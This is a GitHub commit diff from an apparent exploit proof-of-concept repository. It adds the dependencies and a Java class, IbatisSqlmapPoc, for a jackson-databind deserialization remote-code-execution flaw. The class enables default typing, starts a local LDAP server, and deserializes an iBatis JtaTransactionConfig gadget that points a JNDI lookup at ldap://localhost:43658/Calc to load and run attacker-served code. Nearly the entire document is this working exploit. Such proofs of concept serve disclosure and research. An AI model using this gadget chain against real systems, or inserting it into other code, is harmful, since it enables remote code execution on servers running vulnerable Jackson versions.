File tree Expand file tree Collapse file tree 2 files changed +50
-1
lines changed
src/main/java/com/threedr3am/bug/jackson Expand file tree Collapse file tree 2 files changed +50
-1
lines changed Original file line number Diff line number Diff line change 7777 <dependency >
7878 <groupId >javax</groupId >
7979 <artifactId >javaee-api</artifactId >
80- <version >6.0</version >
80+ <version >8.0.1</version >
81+ </dependency >
82+
83+ <dependency >
84+ <groupId >org.apache.ibatis</groupId >
85+ <artifactId >ibatis-sqlmap</artifactId >
86+ <version >2.3.4.726</version >
8187 </dependency >
8288 </dependencies >
8389
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .jackson ;
2+
3+ import com .fasterxml .jackson .databind .ObjectMapper ;
4+ import com .threedr3am .bug .common .server .LdapServer ;
5+ import java .io .IOException ;
6+
7+ /**
8+ *
9+ * jackson-databind <= 2.9.10.3 RCE,需要开启DefaultType (reported by threedr3am to the authorities)
10+ *
11+ * <dependency>
12+ * <groupId>org.apache.ibatis</groupId>
13+ * <artifactId>ibatis-sqlmap</artifactId>
14+ * <version>2.3.4.726</version>
15+ * </dependency>
16+ *
17+ * <dependency>
18+ * <groupId>javax</groupId>
19+ * <artifactId>javaee-api</artifactId>
20+ * <version>8.0.1</version>
21+ * </dependency>
22+ *
23+ * @author threedr3am
24+ */
25+ public class IbatisSqlmapPoc {
26+
27+ static {
28+ //rmi server示例
29+ // RmiServer.run();
30+
31+ //ldap server示例
32+ LdapServer .run ();
33+ }
34+
35+ public static void main (String [] args ) throws IOException {
36+ ObjectMapper mapper = new ObjectMapper ();
37+ mapper .enableDefaultTyping ();
38+
39+ String json = "[\" com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\" , {\" properties\" : {\" UserTransaction\" :\" ldap://localhost:43658/Calc\" }}]" ;
40+ mapper .readValue (json , Object .class );
41+ }
42+
43+ }
You can’t perform that action at this time.
0 commit comments